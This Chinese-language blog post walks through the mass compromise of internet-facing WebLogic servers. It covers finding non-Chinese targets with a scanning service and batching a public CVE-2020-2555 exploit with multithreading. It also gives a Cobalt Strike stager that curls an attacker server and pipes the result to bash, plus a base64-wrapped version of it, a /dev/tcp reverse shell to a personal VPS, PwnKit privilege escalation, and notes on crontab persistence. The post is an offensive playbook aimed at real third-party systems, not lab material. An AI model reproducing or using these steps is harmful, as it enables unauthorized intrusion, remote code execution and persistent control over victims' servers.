weblogic 批量getshell

測試時版本基于 4.4，最近曝了CVE-2022-39197，需要把CS換成新版

否則客戶端連完就崩，shell丟了..恢復起來還麻煩

0X01 網絡空間測繪系統與數據導出

工具：360 quake
網址：https://quake.360.cn/
搜索命令
(app:"Weblogic應用服務器") AND NOT country: "China"

永久會員每月5萬條數據，導出3千條

其他網絡共建測繪系統
奇安信鷹圖 https://hunter.qianxin.com/ (價格其實算起來應該和quake差不多)

0X02 編寫腳本

1 涉及代碼

多線程
http://www.rzrgm.cn/huim/p/12851437.html
exp
https://github.com/zzwlpx/weblogicPoc/blob/master/CVE-2020-2555/CVE20202555Exp.py
多線程是python3，exp是python2，于是把exp改成python3版本，主要是hex的編碼需要變動

2 自動化腳本

0X03 嵌入CS linux 批量上線命令

1 CS上線命令

根據上一篇文章 cobaltstrike上線linux
獲取到上線命令

curl -A O -o- -L -k https://xxx.xxx.xxx.xxx:55413/a | bash -s

2 編碼

將命令編碼為base64，替換進下面中的base64

bash -c {echo,Y3VybCAtQSBPIC1vLSAtTCAtayBodHRwczovL3h4eC54eHgueHh4Lnh4eDo1NTQxMy9hIHwgYmFzaCAtcw==}|{base64,-d}|

3 整合腳本

腳本中放入數據和cmd命令，直接運行

反彈shell快捷鏈接
https://mrxn.net/reverse_shell.php?ip={個人VPS}&port=9999

bash -i >& /dev/tcp/{個人VPS}/9999 0>&1

臟牛沒有結果，用cve-2021-4034
https://github.com/arthepsy/CVE-2021-4034

wget https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
gcc cve-2021-4034-poc.c -o 4034
chmod 755 4034
./4034

2 查crontab

crontab -l
第一個文件不知道是什么，搜了半天都沒有結果，但是可以用來做持久化
allmid_warpper.sh啟動了allmid.sh
vi /usr/localcw/bin/allmid.sh

3 查上次登錄

last
lastlog

4 交互式

python -c 'import pty; pty.spawn("/bin/bash")'
